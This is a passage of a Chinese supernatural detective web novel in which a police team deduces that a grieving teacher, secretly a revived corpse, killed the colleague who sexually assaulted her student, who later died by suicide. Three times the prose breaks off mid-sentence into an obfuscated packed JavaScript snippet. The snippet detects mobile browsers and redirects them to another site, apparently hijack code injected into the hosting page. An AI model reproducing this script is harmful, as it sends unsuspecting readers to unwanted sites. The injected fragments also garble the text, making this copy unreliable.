这次是正儿八经的开会,至少从选址上看,众人察觉到了严崇山的认真程度不同寻常。 几个人围坐在会议室的长桌边上,长桌尽头伫立着一块写满信息的白板,那是严崇山花了大功夫写上去的。 他肯亲自动手,原因无他——罗梨写字太丑,计遇使唤不动,李煦和许博航没有参会,唯一一个写字端正的下属闻允,还在因为今天他冒犯了乔老师的事生气。 但闻允还挺有素质的,生气的表现只有冷战,他没对严崇山释放出任何攻击性,只是不搭理严崇山,对他一切话语都充耳不闻。 简而言之,他把严崇山当个屁放了。 白板之上贴了几张照片,是两位受害人的死状特写,所有可疑的地方都被严崇山着重记录。 照片下面则是几个人名,人名之间打着箭头,上面写着相互之间的关系。 严崇山站在白板边上,发现他的几位好下属除了闻允都有点昏昏欲睡,忍不住俯下身来,凑近罗梨,和颜悦色地问:“奖金还要不要了?” 罗梨幽幽地对他说:“现在这个点开会算加班了你知道吗,你有什么事非得今晚上说,明天工作时间说烫嘴吗?” 严崇山直起身来,理直气壮地说:“因为我有一种很不祥的预感。” 严崇山的预感是局里的一大玄学,好坏都灵验,这厮凭借直觉做出的判断,很大可能性是准的。 因此,虽然这个理由略显无力,但罗梨无法辩驳,她别过脸,看见闻允认真的表情,幸福地微笑起来。 还是小允好啊,又乖又养眼,比混账领导强了八百倍……唉,可惜,栽领导手里了。 无人知晓她还困在自己的错误认知里,计遇打断罗梨的花痴:“开始吧?” 严崇山正经起来:“我整合了目前的线索,先跟你们说一说。” “乔欣荣和李芸芸关系非常好,她对李芸芸遭受了张景程侵犯这件事一清二楚。今天我查了,四月十六号活动室外面的监控丢失,官方说法是监控损坏,但我觉得未免太巧了,张景程那天侵犯了李芸芸,监控就刚巧在那天坏了。” 计遇点头:“人为删除监控的可能性比较大,会是张景程自己干的吗?” 严崇山:“不排除这种嫌疑,最怕东窗事发的人应该就是张景程,这可能也能解释为什么乔欣荣那么想报复张景程,却迟迟没有动作,她手里没证据。” 他接着说:“李芸芸在那件事以后得了抑郁症,开始独自使用活动室,在里面干什么还不太清楚,纯自闭也说不准。小胖子撞破了这件事,后来两个人就交替使用活动室。” “小胖子喜欢上李芸芸,所以替她隐瞒了她喜欢张景程的秘密,但也因为这个秘密,小胖子跟我们一样,怀疑李芸芸可能杀害了张景程。” 严崇山端起水杯喝了一口:“现在案子里一共牵扯了三个死人,一个自杀的李芸芸,一个被谋杀的张景程,还有一个陈芳歌。” “你们有什么看法?” 罗梨举起手,严崇山意外地挑了挑眉,他一直偷偷觉得罗梨属于能力很强但脑子不转的类型。 罗梨:“小许查到了点东西,你知道吗?” 严崇山困惑:“我们局里流程问题就这么大吗?怎么没人告诉我?” 罗梨茫然道:“你们回来以后,小许告诉闻允了啊。” 严崇山将谴责的视线投向闻允,后者岿然不动。 他忍不住训斥道:“有你这样的吗?查案是儿戏吗?自己不高兴就敢瞒线索,你今年几岁了?小孩子是不是?” 闻允即答:“我没瞒着你,我和梨子姐计遇哥讨论过了,只是有人人缘太差,这都得不到消息而已。” 严崇山原本只想训他一句,谁知闻允嘴巴这么利,这下他所有的不满都被点燃了:“还顶嘴?你什么时候讲人情都可以,办案的时候能由着你唯人情论吗?” 闻允也被激怒了,他回击道:“我讲了什么人情?尊重老师就是人情了?我的诉求只是要你尊重乔老师,这对你来说就这么难吗?领、导?” 罗梨见势不好,连忙拉架:“哎呀好了好了,别吵了,这又没什么大事……” 严崇山不依不饶,他下午本来就攒了一肚子气,现在正好彻彻底底地爆发了:“我不尊重她?事实是不是她瞒线索了?是不是她有话没说?我真是奇了怪了,闻允,你跟你老师感情就这么好,好到能睁着眼睛说瞎话!” 闻允怒不可遏,他猛地站起来:“我和她感情就是好,我已经没有其他家人了,乔老师就是我最后的家人!你又懂什么了?你这个年龄还能和父亲撒娇的人,日子好过得没边了吧?一个没经历过挫折、没目睹过重要的人在你眼前去世的官二代,有什么资格对我指手画脚的?” 他不提这茬还好,一提连罗梨都吓坏了,她被自己的口水呛了一下,一边猛烈地咳嗽,一边在死去活来的咳嗽声里朝闻允拼命摆手。 严崇山死死地盯着闻允,他的脸色阴沉得可怕,似乎有些话想说,最终却全都咽了下去,只是强硬道:“再顶嘴扣你奖金!” 闻允冷冷地看着他,很有心再和严崇山呛几句,然而他的生活有一段时间都相对贫穷,钱对他来说是命脉、死穴,为了奖金,他只好忍气吞声。 罗梨:“别……咳咳咳……别吵了,头儿,还是查案要紧啊!” 严崇山冷静了一会儿,生硬道:“罗梨你说,许博航查出什么来。” 罗梨费劲地拍拍自己胸口:“咳咳……许博航说,陈芳歌可能和张景程有点关系。” 说完,她顺了一口气,终于缓过来:“这个陈老师很喜欢和男老师接触,而且已婚未婚都不挑,和张景程走得特别近,好多人其实偷偷怀疑他们背地里有一腿。” 罗梨想了想,接着说:“会不会因为陈老师在李芸芸看来是情敌,所以李芸芸也对她下手了?” 严崇山已经把这茬揭过了,闻允也不再呛人,他深吸一口气,反驳:“张景程都快结婚了,真要论情敌,那也是他未婚妻,轮不到陈芳歌。” 随后他道:“况且我不觉得李芸芸最后还喜欢张景程,她可能只是无法接受被侵犯的事实,才用这个认知洗脑自己,欺骗大脑接受。她摘抄本里写的那段话就能证实,她最后应该是清醒了,所以选择了……” 毕竟是一出悲剧,闻允没把话说完,他隐去了众人都心知肚明的那个结局。 计遇冷眼旁观了一出好戏,终于加入讨论,另辟蹊径地问:“不是说张景程盯上了一个新的女学生吗?他后来下手没有?女生叫什么?” 严崇山的脸色仍然不佳,闻允接着回答他:“我觉得没有,带学生去酒店或者回家里都太明显了,不然张景程不用钻空子,在活动室趁机发生关系。……但我也不能确定,乔老师态度有点奇怪,她不愿意说女学生是谁,似乎也没额外关注她,我们不好查。” 说完,他抓紧机会为乔老师辩解了几句:“— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530306|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —她应该是想保护学生的隐私。” 一句终了,他还不温不火地看了严崇山一眼。 严崇山炸完的脾气冷却了,他决定不和小毛孩子计较,把微微跑偏的话题又带回来:“现在没办法把陈芳歌串进案情里才是最头疼的,既然她不是李芸芸的情敌,那她到底干了什么?” 现场沉默下来。 闻允盯着白板上被圈起来的“融化”二字看了一会儿:“他们的死亡方式会不会也透露出什么信息?” 严崇山仍然坚持着自己的高见,他点了点张景程的手部特写照片,指着上方蹭掉的皮肉:“比如死前祈祷?” 闻允突然问:“那痕迹怎么是斜着的?” 严崇山皱着眉:“什么斜着不斜着,我那天试了,做祷告姿势的话,指根就会有这样的痕迹。” 闻允对照着自己比划了一下,笃定道:“不对,祷告姿势留下的痕迹应该是横着的,因为手掌相贴,倾斜弧度不会这么大。他这个痕迹太斜了,手指虽然交叉,但手掌并不相贴,掌心是打开的,就好像……” 闻允低头看着自己的手,不确定道:“就好像……抱着什么?” 计遇冷不丁开口:“抱柱地狱。” 罗梨:“什么什么?” 计遇解释道:“民间传说,□□犯死后会下抱柱地狱,他们要被迫抱着一根烧红的柱子。” 闻允灵光一闪:“烧红……融化!张景程死成那样,是因为凶手要惩罚他的罪行,他的罪行是性侵!” 严崇山顺着他的思路想:“那陈芳歌的眼睛和舌头……” 这回,罗梨突然靠谱了一下:“会不会是知情不报?如果陈老师其实也知道张景程犯下了什么罪行呢?她毕竟和张景程这么亲密。” 闻允严谨地分析一番:“如果是这样,乔老师也算知情不报,她最终也没有揭发张景程。” 严崇山觉得自己忽视了什么重要的东西,他一遍一遍复盘着已知信息,最终抓到了一个狡猾的、藏在角落里的想法:“如果陈芳歌删了监控呢?” 他将保卫处监控室里的来龙去脉说了,特别强调了值班人员对陈芳歌有反应的事情。 计遇率先开口:“可能性很大。” 罗梨跟着附和:“那我也支持这种说法。” 闻允心想:这是什么说辞,推理都弄成投票了。 此时,办公室的门突然被人撞开,李煦激动得甚至顾不上用手开门,他一手高举着魂瓶,一手牵着闻知秋,气喘吁吁地说;“我知道了!” 严崇山不耐烦道:“开会呢,你有正事没有?乱来我抽你。” 李煦急得话都说不囫囵:“唉呀,重大发现,保证和线索高度关联!……不是,保证和案件高度线索……唉!保证是和案件有关的重要线索!!” 他转头对闻知秋哄骗道:“小秋,你爬到桌上去。” 严崇山看见众人的眼神齐齐变化,像是几只被逗猫棒吸引的猫,从他们的视线方向来判断,闻知秋应该是听话地爬上了桌子。 “太棒啦!”李煦研究了闻知秋这么会儿,可能是被调好了,逐渐展示出一种幼师的气质,“来,你转几圈!” 闻知秋在会议桌上载歌载舞。 众人依旧一头雾水,李煦转头道:“计遇哥,你发动寻踪。” 计遇沉着气,默默发动了能力,下一秒,他面色突变,吃惊得站了起来。 严崇山看不见,可把他急坏了:“怎么回事?” 计遇仍旧盯着陶醉舞蹈的闻知秋,他不可置信地说:“……她也没有‘灵痕’。” 21. 反转 “哈?”严崇山被这消息弄得连刚才发过火都忘了,他故态复萌,二缺神情尽显,“我看不见,你别驴我。” 计遇毫不留情地反驳一句,令严崇山颜面扫地:“少以己度人了。” 闻知秋在会议桌上伸伸胳膊蹬蹬腿的,谁也看不出她跳的是什么——可能是幼儿园广播体操,但因为她死了太长时间,已经忘了个七七八八,那体操简化为抬手伸腿和转圈,闻知秋的裙摆小花儿似的绽开。 小陀螺把自己转得晕头转向,终于想起来朝李煦要表扬,她捧着自己的脸颊凑了过去,李煦深知这姑娘一兴奋就要化身裂口女的本性,连忙给她顺毛:“好宝好宝……” 罗梨惊慌失措:“……所以人是秋秋杀的?!” 室内所有人都被她这石破天惊的想法震得噎了一下,视线齐齐落在她的身上。 计遇忍不住道:“……你动点脑子好吗?” 他平时无差别扫射所有人,唯独对罗梨还算客气,这下轮到罗梨不满了,她拿手指缠着发尾,一边绕圈一边问:“那不然怎么自圆其说嘛!” 李煦作为技术担当,义无反顾地挺身而出:“诸君!呃……各位哥哥姐姐们,听我分析。具体原理我还没研究明白,但是我可以说个大概。” 他摇头晃脑,宛如古代私塾先生,甚至抬手捋了一把不存在的胡子:“灵痕是鬼留下的痕迹,也就是能量留下的痕迹,但是人就不会留下灵痕,这是为什么?” 闻允冷静回答:“因为人有肉身?” 李煦喜出望外,夸赞好学生:“对!你可以把灵魂当成是一个能量体,人还活着的时候,肉身会包裹住能量,魂魄等于穿着一身皮肉外套,所以不会留下痕迹。” 他将手一指,精准地戳在闻知秋的额头上,把闻知秋戳了一个趔趄:“小秋身上也有一个类似肉身的东西,但它不是肉身,是另外的一种能量,和灵魂有区别……你们能理解吗?” 他讲得稍微有点抽象,罗梨眼神茫然,闻允快速理解了一下,通俗易懂地解读:“你是说小秋身上也有一层可以阻隔灵魂能量的防护服?” 李煦:“Bingo!人类戴上橡胶手套就不会留下指纹,嗯……大家理解小秋浑身上下都穿着一层橡胶防护服吧。” 严崇山:“这是怎么做到的?之前没有过先例吧?” 李煦收回手,他两手揣进道袍宽大的袖子里,将脸转向闻允:“我觉得这可能是闻允哥的能力。” 闻允奇道:“我的?” 李煦还不知道先前这里发生过多么剑拔弩张的争吵,他欢快地点点头,怂恿严崇山:“老大,你再碰一下闻允哥!” 严崇山的能力需要和别人肢体接触来生效,他哪怕只是用一根手指轻轻触碰闻允也可以,但之前每次接触都又牵手又抓手腕的,他已经习惯了,动作比脑子还快,一下就当众抓住了闻允的爪子。 闻允:“……” 就非得握手吗?碰一下手背不是也一样吗? 闻允和人吵架的经验太少,他根本不知道发生争执以后要以怎样的态度去面对别人,严崇山这样亲昵地和他互动,令他在心里暗暗琢磨起来:我们这是和好了吗?……可是他还没道歉呢。 严崇山却不觉得他刚才和闻允的争吵有多严重,他的注意力已经完全转移到了李煦的新发现上,自然地保持着这个姿势:“接下来呢?” 李煦这粗神经看不出来闻允的不自在:“计遇哥,你再试试发动寻踪。” 下一秒,闻知秋的脚下出现散发着荧光的、淡淡的小鞋印。 闻知秋兴高采烈,她在会议桌上踩雪一般走来走去,脚印长久不散,很快密集地叠成一片。 她是李煦活生生的教材,李煦十分满意,站在桌边道:“我一直觉得老大的能力叫‘吞噬’,所有异能接触到他都会被吞掉,所以闻允哥一和老大接触就看不见鬼怪了。” “现在我怀疑,闻允哥其实也有异能,只是机器的数据库太老了,都是用前人收集过的信息建的,前辈们又没有那么见多识广,可能没接触过闻允哥的异能,所以测灵仪显示他没有能力。” 他能有什么能力? 除了阴阳眼,闻允从没觉得自己有什么与众不同的地方。 李煦没心没肺道:“你这个能力说不定就叫橡胶保护套,哈哈!” 闻允:“……” 他还得谢谢李煦没给他起个更难听的名儿呢。 严崇山神色狐疑,他连手都忘了松,试探问:“所以是你把李芸芸藏起来了?” 闻允将手一抽,冷静地辩驳:“可能吗?我一不知道自己有能力,二不认识她,案发的时候我都还没回学校,怎么把她藏起来?” 严崇山掌心一空,心里也跟着空了一下,他总觉得得摸着什么才自在,挑选了一圈,他摸了摸自己今早刚刮过胡茬的下巴:“……也是。而且李芸芸如果生前都不愿意拆穿张景程,死了也不会对删监控的陈芳歌下手,要不就有点罪罚不相当了。” 他出神地琢磨:“难道学校里还有其他鬼魂吗?他得符合几个特征,首先是已经死了,其次是知道张景程侵犯李芸芸的内幕,还知道陈芳歌在监控上动了手脚,最后是有个保护套的能力……” 盘查案情就是李煦不擅长的领域了,他拉开滑轮椅,一屁股坐下,双臂交叠,把脑袋惆怅地靠上去:“头好痒,好像要长脑子了。” 闻知秋才不管他们在办什么正事,她噔噔噔地跑到闻允面前,充满期待地说:“哥哥陪我玩!” 闻允敷衍地摸了摸她的小脑袋瓜:“哥哥忙,你先自己玩一会儿,乖。” 严崇山见过他冷脸、见过他阴阳怪气,唯独没见过他这样和颜悦色,一时有些悚然。 闻允没好气地问:“又怎么?” 严崇山摸了摸自己短袖下结实的小臂:“你真把自己当他哥哥了?说话语气这么温柔……害我起了一层鸡皮疙瘩。” 闻允冷笑一声:“你要是管我叫哥哥,我也能这么和你说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530307|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他低估了严崇山不要脸的程度,只见严崇山眉梢一挑,贱嗖嗖地笑了起来,他挤眉弄眼地朝闻允靠了过去,尾调柔情似水地拉长:“闻允哥哥~” 闻允不忍直视,将脸别开,但刚才积蓄的所有怒火都神奇地因为严崇山这一声烟消云散,他微微翘起唇角,横在他和严崇山之间那座看不见的冰山悄无声息地融化。 罗梨在一旁将白眼翻上天:“太贱了,我接受不了给这样的领导当下属,我要另谋出路。” “跑题了,”严崇山扮演一匹力挽狂澜的马,第不知多少次把跑题跑到八千里外的主题拉回来——他注意力其实挺集中的,架不住这干下属都是活宝,一开会就谈天说地什么都聊,生动诠释了什么叫除了正事都好玩:“刚盘到哪儿了?” 计遇提醒:“小允有能力。” “哦,对,”严崇山点点头,“我之后想办法查一查,看看是什么情况,如果凶手是被人可以藏起来的,那就一定还有和小允子能力相同的人,查起来应该不难。” “不对啊头儿,”李煦沮丧地提醒,“那我们现在的进展不就回到原点了吗?凶手不是李芸芸,是一个藏起来的鬼魂,这让我们怎么查?学校里根本没其他死人,难道我们要把搜索范围扩大到整个连宁吗?是不是有点太大海捞针了……” 严崇山不置可否,他总觉得案情还没有走进死胡同里,一定有什么关键的信息就摆在众人的眼前,只是被所有人都没看见。 有一句话是这么说的,排除各种可能性后,无论剩下的那个情况有多么离谱,它都是唯一正确的答案。 他到底错过什么了? 罗梨没他那么好的耐性,面对案情一筹莫展,却积极地掏出了手机——她还有一件事能做,就是填满自己早就因过度动脑而空掉的胃。 半夜还营业的商家不外乎那几样,罗梨有一搭没一搭地刷着外卖列表:“点个宵夜吃吧,这都十二点半了,有没有人想来点烧烤?” 严崇山突然“砰”地拍响桌子,把她吓了一跳。 “不吃就不吃,”罗梨捂着心口,嗔怒道,“这么凶干嘛?” 严崇山根本不接她的话茬,他的表情像是开悟了,双眼黑而亮:“他妈的……是灯下黑!” 他语速极快,对着糊里糊涂的众人抛出几个疑问:“如果这个死人就在我们面前,只是我们没有发现呢?如果他不仅有闻允那样的能力,还穿着一身皮肉呢?我操,我早就该想到的。” 闻允没跟上他的思维速度,忍不住问:“你什么意……” 话音未落,严崇山再度抓住了他的手腕,力道极大,根本不容挣脱。 他这次不是为了释放能力,单纯就是太激动了,他有一件现在就必须去弄清楚的事,这关乎他的猜想是否正确。 闻允猝不及防地被他从椅子上拖起来,他想质问严崇山,甫一开口,却见严崇山回过头来,那视线像要将他盯穿,语气郑重而严肃:“你必须跟我走,我不想让你后悔。” 22. 长生符 他这么正经,任谁都能体会到他的郑重其事,闻允于是咽下那句质问,被严崇山拽着离开了会议室,坐电梯去了地下车库。 严崇山简直是在狂奔,他以最快的速度把闻允塞到车上,随后语音打开导航,将目的地定在了乔欣荣所在的小区。 “你这就太离谱了吧?”闻允系上安全带,觉得这件事已经到了个可笑的程度:“你是觉得乔老师已经死了吗?……领导,你没有阴阳眼就算了,总该分得清活人和死人吧?” 严崇山一脚油门……把速度提到了六十迈,这对他来说已经十分极限了。 他和闻允对话的同时也梳理着自己的思绪,比起说服闻允,更像是在复盘所有遗漏的细节:“乔欣荣有抽烟的习惯,咱们去她家里的时候我看到过烟灰缸,我问她抽不抽烟的时候,她回答我的也是‘我不要’而非‘我不抽’。” “闻允,她已经死了,只能假装身体起伏,但没法呼吸!” 闻允没被他说服,他冷冷道:“你就凭这个下定论?” 严崇山接着问:“你见过她进食吗?我们和她见面这么多回,别说吃饭了,她连一口水都没喝过。还有,她对女儿的感情那么深,李芸芸不过和她女儿有几分相似,她都能上心到这个程度,更不用提那只和她女儿同名的猫了,那肯定是她的情感寄托,你想想看,她为什么要把猫送走?” 闻允反驳道:“因为她过敏!” 严崇山没急着说他,反倒点点头。 他拐了个弯,对面车道偶尔有车驶来,车灯穿透玻璃前窗投映在他的脸上,昏暗的光线里,他的眉眼格外深邃:“是啊,她说她过敏,那就更应该开窗通风了。但她为什么大白天的拉着窗帘,不开窗户不开空调?闻允,她畏光,她再也没法养猫了。” 闻允久久不言语,他的理智有些被严崇山说服,但潜意识仍然抗拒着这个认知,过了好半晌,他闭了闭眼:“……你疯了。” 严崇山不想再因为乔欣荣和闻允吵第二架,他稳住心神:“疯不疯的,你一会儿就知道了。” 已经是大家都该休息的时间,路上车辆不多,严崇山顺当地开进小区,一只黑猫被他吓得弹起来,转眼跃入了灌木丛。 尽管在路上言之凿凿,但离真相越近,严崇山反而越有点不确定,他在心中反复盘问自己:如果是巧合呢?如果那些都只是无关紧要的小事,只是被无路可走的自己抓住又放大了呢? 他的眼神无意识地落在闻允脸上,闻允比他矮一些,从这个角度看去,侧脸像是被某个艺术家精雕细琢过的,每一根线条的走势都趋向完美。 他突然定了神,心想:算了,猜错就猜错,不过就是先前装过逼要被打脸,至少闻允还能有个疼爱他的师长。 闻允无心去猜他的想法,莫名的焦灼包围着他,他近乡情怯地在乔欣荣楼下停住脚步,突然说:“如果……” 严崇山拍了拍他的肩以示安抚:“先别猜了,上楼就能真相大白。” 两人心情各异,却都有些沉重,他们一路无话地上了楼,按响乔欣荣的门铃。 时间无声,但心跳却很响亮,闻允数着自己的脉搏,足足三十个数,室内都没人来开门。 他煎熬得过分,又按了一次门铃,理所当然地没有得到任何回应。 闻允深呼吸:“我给乔老师打电话。” “她不会接的。”严崇山截口打断他,随后,也不知在和谁道歉,他面无表情地说了一声“得罪了”。 紧接着,他倒退两步,竟对着那扇防盗门抬腿就踹! 这一下动静巨大,门页轰然作响,在寂静的夜色中清晰得过分。闻允右眼一跳,想要上前阻拦,严崇山又起一脚,稳准狠地踹在了门锁的位置。 他不仅是健身,可能还练过一点防身术,和那种闹着玩的花拳绣腿不一样,正蹬时下盘稳健,爆发出的力道极大。 门锁扛不住这接连重踹,终于光荣牺牲,严崇山拉开防盗门,心里已经平静下来。 这种动静就是死人也能惊醒,乔欣荣却依然没来查看情况,她可能是畏罪潜逃,也可能真正意义上地死了。 闻允来不及问责严崇山,他也迫切地想知道究竟是怎么一回事。 他拉开门,将玄关的灯打开,整个人骤然怔愣。 屋主人像是预知到了些什么,已经不在室内,屋子里被收拾得非常干净,阳台种的花草不见了,桌面上看不见任何生活日用品,连家具都已经用大块的白布盖上。 闻允面色苍白,喃喃道:“怎么会……” 严崇山扶了一下额头:“他妈的,怎么总是慢一步……人不在家能在哪儿?她能去哪里?” 闻允没有放任自己在失魂落魄的状态里待太久,他的本能迫使他在任何情况下都保持冷静,此时他刻意屏蔽了心里不断翻涌的酸涩感,逼自己清醒高效地思考。 她处理好自己所有后事,没有留在家里等死,那么最大的可能性就是再去看一眼牵挂的人——这就和很多生命垂危的人想要回家是一个道理。 对于乔欣荣而言,她已经没有家了,只有一个放不下的李芸芸。 闻允眸光一闪,提示道:“……李芸芸的坟墓前。” 不必严崇山交代,闻允自行给李建安打了个电话。 他给李建安留下的印象不错,李建安没有计较他深夜打扰,很快将墓园地址发到了他的手机上。 闻允关上手机屏,转身就走。严崇山急匆匆地跟上去:“你也不要太难受,乔老师未必就……” “我来开吧。”闻允陡然将话题转折,“你开车太慢了。” 严崇山无从反驳。 反正半夜车少,应该也出不了什么大事,严崇山豁出去一般坐上副驾驶,系上安全带,抓握住扶手——闻允却出乎他意料地将车开得很平稳。 他好像把所有注意力都投入在路况上,以便于让自己不胡思乱想,可惜去墓园的路并不远,二十分钟之后,他仍然需要面对事实。 他们下了车,走进阴森森的墓园。脚下的枯叶被踩踏后嘎吱作响,墓园地处偏远,夜里的凉风从远处吹来,如同一种痛心断肠的呜咽。 二人不受影响,对照着编号寻找李芸芸的墓碑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530308|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那其实很好找,因为在一排形制相同的墓碑里,只有一个墓碑前突兀地站着一个女人。 光靠轮廓闻允就能将她认出来,那正是乔欣荣。 闻允的心彻底沉了下去,他甚至想要转身就走,但一个心情将他牢牢地钉在原地,令他寸步难行。 那就是“为什么”。 他很小就不再问为什么了,因为他最大的困惑就是人为什么会死,生命为什么会结束,小朋友为什么不能永远和爸爸妈妈在一起,而这些问题只会令父母陷入悲痛。 后来他想问父母为什么要离开,为什么早早地就将他一个人留在世上,为什么非得是他经历这一些。 试卷上的考题都有答案,他的人生却没有解答。 此刻,他再一次想要发出疑问。 为什么?为什么是乔老师,乔老师为什么死了,究竟是哪一步行差踏错,让事情发展成今天这样? 他一步一步地朝乔老师走去。 远远的,乔老师便发现了他们,她看起来很宁静,没有想要逃跑的意思,只是一遍又一遍地擦拭着李芸芸墓碑上的遗照。 “念念也埋在这里呢,”乔老师轻声说,“她爸爸不常回连宁市,坟墓没人打理,都积灰了,我刚才擦了好一会儿,才来看芸芸。” 闻允不知道自己该说些什么,他无从开口。 严崇山开门见山地问:“人是你杀的吗?” 乔老师儒雅地点了点头,仿佛认下的并非两条人命,而是一个捐款名额:“是我。” 严崇山叹了一口气,他上前拉住乔老师的手腕,好像是想给她上铐,一摸后腰又摸了个空——如果一个人常年跟鬼魂打交道,想必也不会记得带手铐。 乔老师的手冰得可怕,严崇山没松手,反而上下打量起她,乔欣荣好似知道他在想什么,问道:“你在找这个吗?” 她掀起衣摆,微微侧身,露出一截后腰。 那腰上的皮肤已经是可怕的青灰色,上面有一圈密密麻麻的针线痕迹,就好像她曾被人一刀斩断,又重新缝合。 而在她的后腰处,贴着一张明晃晃的黄符。 严崇山画不了符,但认符还是没问题,他眼神扫过上方的字迹,念道:“胎灵八君,胎门入神,日月合并,南极长生……这是长生符?” 乔老师放下衣摆,由衷称赞道:“严警官见多识广,我也听人把它叫做‘回魂符’……啊,鬼神文化还是很博大精深的,放在一周前,我绝对不会相信世界上有鬼的存在。” “为什么?” 乔老师循声望去,闻允仍然站在一个不远不近的位置,他眼眶微红,神情说不上有多激动,只是实在难过:“你为什么会死?你是……什么时候死的,怎么会死成这样?” 严崇山不想煞风景,但他在办案的时候总是优先把私人情感放一边,于是他提醒道:“或者你先说还魂杀人的部分也行。” 乔老师在李芸芸的墓碑前坐了下来,摆出一副说来话长的架势,牛头不对马嘴道:“你们知道吗?我总觉得,芸芸的死和我也脱不开干系,我也应该负一部分责任。” 23. 嫉妒 “芸芸在那件事以后,出现了非常严重的抑郁症状,她经常走神,夜里失眠,也吃不下饭。”乔老师注视着墓碑上李芸芸的笑脸,恍然间觉得自己又回到了那个下雨天,李芸芸站在雨幕里,用那小小的、易折的一把伞替她遮挡风雨。 “我知道她在自我欺骗,或许我冷眼旁观比较好,等时间一长,这件事过去,芸芸也就会好起来了。……但我又想,凭什么呢?凭什么受害者胆战心惊、郁郁寡欢,而加害者不会得到任何惩罚呢?” “所以……我想着,只要能把张景程绳之以法,芸芸的心结也能解开的。” 乔欣荣放下手,转而望向闻允,轻声道:“可是我没有证据啊……” “芸芸被侵犯的当天就把自己洗得干干净净,他们的辅导又都是一对一,唯一算得上证据的只有走廊里的监控。” “但等我找到监控室的时候,才知道连那段监控我都得不到……张景程找陈芳歌删了它,他的犯罪是完美的。” “我简直……恨出血来了。”乔欣荣应该很少说情绪这么外放的重话,她说得不激昂,咬字却很重,每个字都像从齿缝里挤出来的,任谁都听得出她想对这两个人饮其血、啖其肉。 “我不知道恨的是他们恶心的人性,还是一切的不公平,或者是我自己的无能为力……在我最该陪伴芸芸、最该疏导她的时候,我却盲目地想要通过法律制裁他们,一心扑在找线索上,半点都没有关注到芸芸。” “所以她跳了。” 乔欣荣摘下眼镜,用衣角反复地擦拭。 闻允见过她这个动作,在上次问话的时候,乔老师悲伤到极点,却因为一滴泪也流不出来,只好摘下眼镜。 “而在她死了以后,我才知道……最困扰她的竟然不是畸形的爱恋,也不是失序的公平正义,而是……嫉妒。” 李芸芸坐在天台边,静静地向下看。 和很多跳楼跳得大张旗鼓的人不一样,她非常安静,没穿校服,而是特地换上了一身裙子。她的两腿搭在高楼外,风一吹过,裙摆膨起来,她就像坐在一阵风里。 那是上课的点,校园里没有什么行人,李芸芸特地挑了这个时候,她怕自己一跃而下的时候,不小心再砸到什么无辜的人。 那天风和日丽,是很好的天气。坐在那么高的地方,向远处望时,能看到万里无云的碧空,远山曲折地描出天空的边界,再往下,就是层层叠叠的高楼。高楼的每个窗口里都装着那么多人,那些窗户像展示人间万象的一幅画,不同的人生生动地在画卷里展出。 她想起那一天的活动室,窗帘没有拉上,她被压在钢琴上,也成了一幅画。 她的观众是残阳和粉霞、飞鸟与长风。 她对这个世界已经没有什么话想说了,但对知晓一切的乔老师,她还能剖白自己的心迹。 手机屏幕上是她编辑好的遗书。和她的所有作文一样,那封遗书一气呵成,没有修改,每一字每一句都从她的笔尖淌出,而那支笔连着她的心,于是,那黑色的字体,其实每一个都染着血。 她说,无望的爱恋并不痛苦,爱恋被辜负也不令人绝望。 令她难以再面对自己的是,当她知道张景程盯上下一个女生的瞬间,她感到了嫉妒。 她明知一切是错的,明知那女生也许会成为下一个受害者,明知先前所有的欢愉都来自人渣的自我包装,可她竟然深深爱着那张假面,当他向新的人微笑时,她嫉妒。 她甚至不敢憎恨张景程名正言顺的未婚妻,只是嫉妒着能得到张景程青睐的女同学。 她的嫉妒后来变成了愧疚,这是最折磨人的情绪。 这两种情绪把她冲垮了,也将她的人生变成一片混沌,为了摆脱已经发生的、永远不会过去的事情,为了摆脱那不应该有的情绪,她决定结束这一切。 在遗书的最后,她只留下朴素的六个字。 谢谢你,乔老师。 随后,她发送短信、删除痕迹,而后展开双臂,拥抱了风。 “我女儿去世的时候,说的也差不多是这样的话,”乔老师淡淡道,“她对我说,‘我爱你,妈妈’……她所有力气就足够支撑她说这些。” 乔老师抬起眼睛,朝他们说:“我没有女儿了。……这是第二次。” 二人沉默着。 乔老师接着说:“我应该早点告诉她的,爱情没那么重要,只要还有人关心疼爱,那些情感都足以支撑她走出困境。我甚至想,如果她不看那么多书,不看那么多高尚的爱情,不向往这种情感,会不会……会不会就不会喜欢上张景程呢?” 严崇山无法解答她,只好说:“不是你的错。” 乔老师苦笑起来:“……谢谢你。” 参与完李芸芸的葬礼后,乔老师曾有一段时间万念俱灰,而后她突然想起,还有人等着她去保护——那个被张景程盯上的新女生。 于是,她开始搜集证据,频繁地接触张景程,甚至是尾随张景程。 听到这里,闻允颤抖着问:“他发现你了,所以把你杀了?” 